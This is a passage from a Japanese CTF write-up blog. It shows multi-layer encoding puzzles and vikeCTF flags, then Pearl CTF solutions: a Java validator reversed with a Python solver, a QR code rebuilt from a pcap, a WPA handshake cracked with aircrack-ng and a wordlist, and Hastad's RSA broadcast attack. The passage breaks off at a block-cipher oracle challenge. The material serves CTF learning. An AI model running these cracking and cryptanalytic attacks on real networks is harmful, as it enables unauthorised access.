OaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpnZ05UQWdOemNnTVRBeklEYzRJRFk0SURrNUlERXdNeUEzT0NBM01TQTROU0F4TURNZ056Z2dOamdnTVRBM0lERXdNeUEzT0NBMk9DQTRNU0F4TURNZ056Z2dOekVnT0RFZ01UQXpJRGM0SURjeElEZ3hJREV3TXlBM055QXhNaklnTnpjZ01UQXpJRGMzSURFeU1pQTROU0F4TURNZ056Z2dOVEFnTnpjZ05qRT0=
NzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc4IDEwNiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA3MyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEyMiA3MyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiAxMDMgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3OCAxMDYgODkgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDc3IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3OCAxMDYgNzMgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDg1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgMTA3IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4NSAxMDMgNzggMTA2IDY5IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzggMTA2IDY5IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTIyIDEwMyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiA5OSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc4IDEwNiA2OSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA3MyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc4IDUwIDc3IDEwMyA3OCA3MSA4NSAxMDMgNzggNjggNzMgMTAzIDc3IDEyMiA3MyAxMDMgNzggODQgMTAzIDEwMyA3OCA3MSA4OSAxMDMgNzcgMTIyIDgxIDEwMyA3OCA3MSA3MyAxMDMgNzggODQgNjUgMTAzIDc4IDY4IDEwNyAxMDMgNzggODcgNjkgMTAzIDc4IDcxIDY5IDEwMyA3OCA2OCAxMDMgMTAzIDc4IDg0IDk5IDEwMyA3OCA4NyA2OSAxMDMgNzggNjggNzMgMTAzIDc4IDg0IDg1IDEwMyA3OCA1MCA3NyAxMDMgNzcgNzEgNjkgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2OSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgOTkgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgODkgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgMTA3IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTIyIDk5IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4NSAxMDMgNzggMTA2IDY5IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTIyIDczIDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4NSAxMDMgNzcgMTIyIDg5IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzggMTA2IDc3IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA3NyAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4NSAxMDMgNzcgMTIyIDEwNyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA4OSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiAxMDMgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDc3IDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgODUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3OCA1MCA3NyAxMDMgNzggNjggOTkgMTAzIDc4IDY4IDg5IDEwMyA3OCA2OCAxMDcgMTAzIDc4IDY4IDgxIDEwMyA3OCA2OCA5OSAxMDMgNzggODcgNjkgMTAzIDc4IDY4IDczIDEwMyA3OCA4NCA4OSAxMDMgNzggNzEgNzcgMTAzIDc3IDEyMiA4MSAxMDMgNzggODQgMTA3IDEwMyA3OCA2OCA4OSAxMDMgNzggNjggODUgMTAzIDc4IDg0IDEwMyAxMDMgNzcgMTIyIDc3IDEwMyA3OCA2OCA4NSAxMDMgNzggNTAgNzcgMTAzIDc3IDcxIDY5IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNzMgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTIyIDEwNyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEyMiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc4IDEwNiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA3NyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEyMiA3MyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEyMiA5OSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc4IDEwNiA3MyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEyMiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc4IDEwNiA4NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc3IDEyMiA2OSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiA3NyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODEgMTAzIDc4IDEwNiA2OSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMjIgODUgMTAzIDc3IDEyMiA3MyAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc4IDUwIDc3IDEwMyA3OCA2OCAxMDcgMTAzIDc3IDEyMiA4NSAxMDMgNzggNzEgODUgMTAzIDc4IDY4IDgxIDEwMyA3OCA2OCA3NyAxMDMgNzggODQgODEgMTAzIDc3IDEyMiA3MyAxMDMgNzcgMTIyIDk5IDEwMyA3OCA3MSA3MyAxMDMgNzcgMTIyIDg1IDEwMyA3OCA3MSA4NSAxMDMgNzggNjggODEgMTAzIDc4IDY4IDY5IDEwMyA3OCA4NCA3NyAxMDMgNzggNzEgNjkgMTAzIDc4IDg0IDczIDEwMyA3OCA1MCA3NyAxMDMgNzcgNzEgNjkgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA3NyAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgOTkgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3OCAxMDYgODUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgMTA3IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzggMTA2IDgxIDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzggMTA2IDgxIDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA3NyAxMDMgNzcgMTIyIDc3IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA3NyAxMDMgNzcgMTIyIDg1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzggNTAgNzcgMTAzIDc4IDY4IDk5IDEwMyA3OCA3MSA4NSAxMDMgNzggNjggMTA3IDEwMyA3OCA2OCA4MSAxMDMgNzggNzEgODEgMTAzIDc4IDcxIDgxIDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEyMiA4NSAxMDMgNzggNTAgNzcgNjE=
77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 106 65 103 77 106 65 103 77 122 81 103 78 106 85 103 77 106 65 103 77 122 81 103 77 122 73 103 77 106 65 103 77 122 77 103 77 122 73 103 77 106 65 103 77 122 85 103 77 122 103 103 77 106 65 103 77 122 81 103 78 106 89 103 77 106 65 103 77 122 77 103 77 122 81 103 77 106 65 103 77 122 81 103 78 106 73 103 77 106 65 103 77 122 85 103 77 122 65 103 77 106 65 103 77 122 81 103 77 122 107 103 77 106 65 103 77 122 85 103 78 106 69 103 77 106 65 103 77 122 81 103 78 106 69 103 77 106 65 103 77 122 81 103 77 122 103 103 77 106 65 103 77 122 85 103 77 122 99 103 77 106 65 103 77 122 85 103 78 106 69 103 77 106 65 103 77 122 81 103 77 122 73 103 77 106 65 103 77 122 85 103 77 122 85 103 77 106 65 103 77 106 65 103 78 50 77 103 78 71 85 103 78 68 73 103 77 122 73 103 78 84 103 103 78 71 89 103 77 122 81 103 78 71 73 103 78 84 65 103 78 68 107 103 78 87 69 103 78 71 69 103 78 68 103 103 78 84 99 103 78 87 69 103 78 68 73 103 78 84 85 103 78 50 77 103 77 71 69 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 69 103 77 122 65 103 77 106 65 103 77 106 65 103 77 122 81 103 77 122 99 103 77 106 65 103 77 122 81 103 77 122 89 103 77 106 65 103 77 122 81 103 77 122 107 103 77 106 65 103 77 122 81 103 77 122 81 103 77 106 65 103 77 122 81 103 77 122 99 103 77 106 65 103 77 122 85 103 78 106 69 103 77 106 65 103 77 122 81 103 77 122 73 103 77 106 65 103 77 122 85 103 77 122 89 103 77 106 65 103 77 122 81 103 78 106 77 103 77 106 65 103 77 122 77 103 77 122 81 103 77 106 65 103 77 122 85 103 77 122 107 103 77 106 65 103 77 122 81 103 77 122 89 103 77 106 65 103 77 122 81 103 77 122 85 103 77 106 65 103 77 122 85 103 77 122 103 103 77 106 65 103 77 122 77 103 77 122 77 103 77 106 65 103 77 122 81 103 77 122 85 103 77 106 65 103 77 106 65 103 78 50 77 103 78 68 99 103 78 68 89 103 78 68 107 103 78 68 81 103 78 68 99 103 78 87 69 103 78 68 73 103 78 84 89 103 78 71 77 103 77 122 81 103 78 84 107 103 78 68 89 103 78 68 85 103 78 84 103 103 77 122 77 103 78 68 85 103 78 50 77 103 77 71 69 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 73 103 77 122 65 103 77 106 65 103 77 106 65 103 77 122 81 103 77 122 107 103 77 106 65 103 77 122 77 103 77 122 85 103 77 106 65 103 77 122 81 103 78 106 85 103 77 106 65 103 77 122 81 103 77 122 81 103 77 106 65 103 77 122 81 103 77 122 77 103 77 106 65 103 77 122 85 103 77 122 81 103 77 106 65 103 77 122 77 103 77 122 73 103 77 106 65 103 77 122 77 103 77 122 99 103 77 106 65 103 77 122 81 103 78 106 73 103 77 106 65 103 77 122 77 103 77 122 85 103 77 106 65 103 77 122 81 103 78 106 85 103 77 106 65 103 77 122 81 103 77 122 81 103 77 106 65 103 77 122 81 103 77 122 69 103 77 106 65 103 77 122 85 103 77 122 77 103 77 106 65 103 77 122 81 103 78 106 69 103 77 106 65 103 77 122 85 103 77 122 73 103 77 106 65 103 77 106 65 103 78 50 77 103 78 68 107 103 77 122 85 103 78 71 85 103 78 68 81 103 78 68 77 103 78 84 81 103 77 122 73 103 77 122 99 103 78 71 73 103 77 122 85 103 78 71 85 103 78 68 81 103 78 68 69 103 78 84 77 103 78 71 69 103 78 84 73 103 78 50 77 103 77 71 69 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 77 103 77 122 65 103 77 106 65 103 77 106 65 103 77 122 81 103 77 122 99 103 77 106 65 103 77 122 81 103 78 106 85 103 77 106 65 103 77 122 81 103 77 122 107 103 77 106 65 103 77 122 81 103 77 122 81 103 77 106 65 103 77 122 81 103 78 106 81 103 77 106 65 103 77 122 81 103 78 106 81 103 77 106 65 103 77 122 77 103 77 122 77 103 77 106 65 103 77 122 77 103 77 122 85 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 78 50 77 103 78 68 99 103 78 71 85 103 78 68 107 103 78 68 81 103 78 71 81 103 78 71 81 103 77 122 77 103 77 122 85 103 78 50 77 61
MzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMjAgMjAgMzQgNjUgMjAgMzQgMzIgMjAgMzMgMzIgMjAgMzUgMzggMjAgMzQgNjYgMjAgMzMgMzQgMjAgMzQgNjIgMjAgMzUgMzAgMjAgMzQgMzkgMjAgMzUgNjEgMjAgMzQgNjEgMjAgMzQgMzggMjAgMzUgMzcgMjAgMzUgNjEgMjAgMzQgMzIgMjAgMzUgMzUgMjAgMjAgN2MgNGUgNDIgMzIgNTggNGYgMzQgNGIgNTAgNDkgNWEgNGEgNDggNTcgNWEgNDIgNTUgN2MgMGEgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMjAgMjAgMzQgMzcgMjAgMzQgMzYgMjAgMzQgMzkgMjAgMzQgMzQgMjAgMzQgMzcgMjAgMzUgNjEgMjAgMzQgMzIgMjAgMzUgMzYgMjAgMzQgNjMgMjAgMzMgMzQgMjAgMzUgMzkgMjAgMzQgMzYgMjAgMzQgMzUgMjAgMzUgMzggMjAgMzMgMzMgMjAgMzQgMzUgMjAgMjAgN2MgNDcgNDYgNDkgNDQgNDcgNWEgNDIgNTYgNGMgMzQgNTkgNDYgNDUgNTggMzMgNDUgN2MgMGEgMzAgMzAgMzAgMzAgMzAgMzAgMzIgMzAgMjAgMjAgMzQgMzkgMjAgMzMgMzUgMjAgMzQgNjUgMjAgMzQgMzQgMjAgMzQgMzMgMjAgMzUgMzQgMjAgMzMgMzIgMjAgMzMgMzcgMjAgMzQgNjIgMjAgMzMgMzUgMjAgMzQgNjUgMjAgMzQgMzQgMjAgMzQgMzEgMjAgMzUgMzMgMjAgMzQgNjEgMjAgMzUgMzIgMjAgMjAgN2MgNDkgMzUgNGUgNDQgNDMgNTQgMzIgMzcgNGIgMzUgNGUgNDQgNDEgNTMgNGEgNTIgN2MgMGEgMzAgMzAgMzAgMzAgMzAgMzAgMzMgMzAgMjAgMjAgMzQgMzcgMjAgMzQgNjUgMjAgMzQgMzkgMjAgMzQgMzQgMjAgMzQgNjQgMjAgMzQgNjQgMjAgMzMgMzMgMjAgMzMgMzUgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgN2MgNDcgNGUgNDkgNDQgNGQgNGQgMzMgMzUgN2M=
30 30 30 30 30 30 30 30 20 20 34 65 20 34 32 20 33 32 20 35 38 20 34 66 20 33 34 20 34 62 20 35 30 20 34 39 20 35 61 20 34 61 20 34 38 20 35 37 20 35 61 20 34 32 20 35 35 20 20 7c 4e 42 32 58 4f 34 4b 50 49 5a 4a 48 57 5a 42 55 7c 0a 30 30 30 30 30 30 31 30 20 20 34 37 20 34 36 20 34 39 20 34 34 20 34 37 20 35 61 20 34 32 20 35 36 20 34 63 20 33 34 20 35 39 20 34 36 20 34 35 20 35 38 20 33 33 20 34 35 20 20 7c 47 46 49 44 47 5a 42 56 4c 34 59 46 45 58 33 45 7c 0a 30 30 30 30 30 30 32 30 20 20 34 39 20 33 35 20 34 65 20 34 34 20 34 33 20 35 34 20 33 32 20 33 37 20 34 62 20 33 35 20 34 65 20 34 34 20 34 31 20 35 33 20 34 61 20 35 32 20 20 7c 49 35 4e 44 43 54 32 37 4b 35 4e 44 41 53 4a 52 7c 0a 30 30 30 30 30 30 33 30 20 20 34 37 20 34 65 20 34 39 20 34 34 20 34 64 20 34 64 20 33 33 20 33 35 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7c 47 4e 49 44 4d 4d 33 35 7c
00000000  4e 42 32 58 4f 34 4b 50 49 5a 4a 48 57 5a 42 55  |NB2XO4KPIZJHWZBU|
00000010  47 46 49 44 47 5a 42 56 4c 34 59 46 45 58 33 45  |GFIDGZBVL4YFEX3E|
00000020  49 35 4e 44 43 54 32 37 4b 35 4e 44 41 53 4a 52  |I5NDCT27K5NDASJR|
00000030  47 4e 49 44 4d 4d 33 35                          |GNIDMM35|
huwqOFR{d41P3d5_0R_dGZ1O_WZ0I13P63}
vikeCTF{r41D3r5_0F_rUN1C_KN0W13D63}
vikeCTF{r41D3r5_0F_rUN1C_KN0W13D63}

Deep Cover (CRYPTOGRAPHY)

quipqiupで復号する。

** Weather Report: Moscow **

Source: REDACTED

------------------------

Sunday: Periods of snow ending before morning then cloudy with 30 percent chance of flurries. Amount 2 to 4 cm. Wind up to 15 km/h. Low minus 9. Wind chill near minus 14.

Monday: Cloudy with 30 percent chance of flurries early in the morning. Clearing in the morning. Wind up to 15 km/h. High minus 5. Wind chill minus 14 in the morning and minus 9 in the afternoon.

Tuesday: Sunny. High plus 2.

Wednesday: Sunny. High plus 4.

Thursday: A few clouds. Wind becoming south 30 km/h after midnight. Low minus 18. Wind chill minus 19 this evening and minus 30 overnight. Risk of frostbite.

Friday: Cloudy. 60 percent chance of light snow in the afternoon. Wind south 40 km/h gusting to 60. High minus 7. Wind chill minus 26 in the morning and minus 18 in the afternoon.

Saturday: Heavy snow beginning in the morning. Amount 40 to 45 cm. Wind northeast 30 km/h vikeCTF{6u5ting_7o_50_KM_p3r_h0ur}. Temperature rising to minus 10 by evening. Wind chill near minus 21.

この文の中にフラグが含まれていた。

vikeCTF{6u5ting_7o_50_KM_p3r_h0ur}

Pearl CTF Writeup

この大会は2024/3/8 21:00(JST)~2024/3/10 9:00(JST)に開催されました。
今回もチームで参戦。結果は2729点で601チーム中34位でした。
自分で解けた問題をWriteupとして書いておきます。

input-validator (Reversing)

classファイルをjadx-guiデコンパイルする。

package defpackage;

import java.util.Scanner;

/* renamed from: input_validator  reason: default package */
/* loaded from: input_validator.class */
public class input_validator {
    private static final int FLAG_LEN = 34;

    private static boolean validate(String str, String str2) {
        int[] iArr = new int[FLAG_LEN];
        int[] iArr2 = {1102, 1067, 1032, 1562, 1612, 1257, 1562, 1067, 1012, 902, 882, 1397, 1472, 1312, 1442, 1582, 1067, 1263, 1363, 1413, 1379, 1311, 1187, 1285, 1217, 1313, 1297, 1431, 1137, 1273, 1161, 1339, 1267, 1427};
        for (int i = 0; i < FLAG_LEN; i++) {
            iArr[i] = str.charAt(i) ^ str2.charAt(i);
        }
        for (int i2 = 0; i2 < FLAG_LEN; i2++) {
            iArr[i2] = iArr[i2] - str2.charAt(33 - i2);
        }
        int[] iArr3 = new int[FLAG_LEN];
        for (int i3 = 0; i3 < 17; i3++) {
            iArr3[i3] = iArr[1 + (i3 * 2)] * 5;
            iArr3[i3 + 17] = iArr[i3 * 2] * 2;
        }
        for (int i4 = 0; i4 < FLAG_LEN; i4++) {
            int i5 = i4;
            iArr3[i5] = iArr3[i5] + 1337;
        }
        for (int i6 = 0; i6 < FLAG_LEN; i6++) {
            if (iArr3[i6] != iArr2[i6]) {
                return false;
            }
        }
        return true;
    }

    public static void main(String[] strArr) {
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter input: ");
        String nextLine = scanner.nextLine();
        if (nextLine.length() == FLAG_LEN) {
            if (validate(new String(nextLine), "oF/M5BK_U<rqxCf8zWCPC(RK,/B'v3uARD")) {
                System.out.println("Correct");
                return;
            } else {
                System.out.println("Wrong");
                return;
            }
        }
        System.out.println("Input length does not match!");
    }
}

iArr2から逆算する。

#!/usr/bin/env python3
iArr2 = [1102, 1067, 1032, 1562, 1612, 1257, 1562, 1067, 1012, 902, 882, 1397,
    1472, 1312, 1442, 1582, 1067, 1263, 1363, 1413, 1379, 1311, 1187, 1285,
    1217, 1313, 1297, 1431, 1137, 1273, 1161, 1339, 1267, 1427]

iArr3 = [i - 1337 for i in iArr2]

iArr = [0] * 34
for i in range(17):
    iArr[1 + (i * 2)] = iArr3[i] // 5
    iArr[i * 2] = iArr3[i + 17] // 2

str2 = "oF/M5BK_U<rqxCf8zWCPC(RK,/B'v3uARD"

for i in range(34):
    iArr[i] = iArr[i] + ord(str2[33 - i])

flag = ''
for i in range(34):
    flag += chr(iArr[i] ^ ord(str2[i]))
print(flag)
pearl{w0w_r3v3r51ng_15_50_Ea5y_!!}

pcap-busterz-1 (Forensics)

TCP Streamを見てみると、以下のようになっている。

x=38, y=56, color=white
x=73, y=33, color=white
x=94, y=49, color=white
x=12, y=82, color=black
x=90, y=25, color=black
x=55, y=46, color=white
x=98, y=17, color=white
        :
        :

QRコードになりそうなので、このデータをエクスポートして、座標の位置に黒か白か該当する色で画像にしてみる。

#!/usr/bin/env python3
from PIL import Image

with open('tcp_stream.txt', 'r') as f:
    lines = f.read().splitlines()

img = Image.new('RGB', (100, 100), (255, 255, 255))

for line in lines:
    data = line.split(', ')
    x = int(data[0][2:])
    y = int(data[1][2:])
    color = data[2][6:]
    if color == 'black':
        img.putpixel((x, y), (0, 0, 0))

img.save('qr.png')


QRコードをデコードすると、フラグになった。

pearl{QR_rev0lution1ses_mod3rn_data_handl1ng}

WiFi broken (Forensics)

Wi-Fiのパスワードを答える問題。

$ aircrack-ng -w /usr/share/wordlists/rockyou.txt findme.cap 
Reading packets, please wait...
Opening findme.cap
Resetting EAPOL Handshake decoder state.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Resetting EAPOL Handshake decoder state.
Read 30613 packets.

   #  BSSID              ESSID                     Encryption

   1  1A:C7:E2:EC:22:DA  shenoy_harry              WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening findme.cap
Resetting EAPOL Handshake decoder state.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Resetting EAPOL Handshake decoder state.
Read 30613 packets.

1 potential targets


                               Aircrack-ng 1.7 

      [00:11:40] 3822615/14344392 keys tested (5534.76 k/s) 

      Time left: 31 minutes, 41 seconds                         26.65%

                           KEY FOUND! [ shenoydx ]


      Master Key     : 65 BB E2 8B 45 5B B1 BE 5D 96 78 82 14 CC 4B A1 
                       1A 15 BC 85 B0 BA 31 A7 9C 83 9E 9D 47 D2 3E 32 

      Transient Key  : 9D D4 35 8B A2 DC 7D 85 AB DF 04 77 F8 B9 7B 8F 
                       FE 44 CC 98 6C 9C 83 98 80 D5 EC 72 98 A7 FC D7 
                       23 9B 87 C8 CD BF CF 62 5A 97 41 DB 4B 8C AE 62 
                       C2 B0 1F D4 D8 57 DF 80 08 50 9C 98 9D 5A 2F 8F 

      EAPOL HMAC     : 00 65 7D DC 8B 14 31 78 37 A8 10 86 BC 5B 70 08 
pearl{shenoydx}

3 spies (Crypto)

RSA暗号でeは3、異なるnで暗号化されているものが3つある。Hastad's Broadcast Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot

with open('encrypted-messages.txt', 'r') as f:
    params = f.read().splitlines()

ns = []
cs = []
for i in range(3):
    n = int(params[i*4].split(': ')[1])
    e = int(params[i*4+1].split(': ')[1])
    c = int(params[i*4+2].split(': ')[1])
    ns.append(n)
    cs.append(c)
    assert e == 3

me, _ = crt(ns, cs)
m, success = iroot(me, e)
assert success
flag = long_to_bytes(m).decode()
print(flag)

復号結果は以下の通り。

This is your destination: "https://pastes.io/1yjswxlvl2"

https://pastes.io/1yjswxlvl2にアクセスすると、JPEGデータらしきもののbase64文字列が見つかる。paste_data.txtにその内容を保存し、デコードしてJPEGとして保存する。

#!/usr/bin/env python3
from base64 import *

with open('paste_data.txt', 'r') as f:
    data = f.read().splitlines()[1]

with open('flag.jpg', 'wb') as f:
    f.write(b64decode(data))


base64デコードしたJPEG画像データにフラグが書いてあった。

pearl{g00d_j0b_bu7_7h15_15_4_b4by_0n3}

Security++ (Crypto)

奇数ブロックと偶数ブロックで鍵が異なるブロック暗号であるが、1文字ずつはみ出させながらフラグを割り出すことができる。

$ nc dyn.ctf.pearlctf.in 30015

Enter plaintext: a
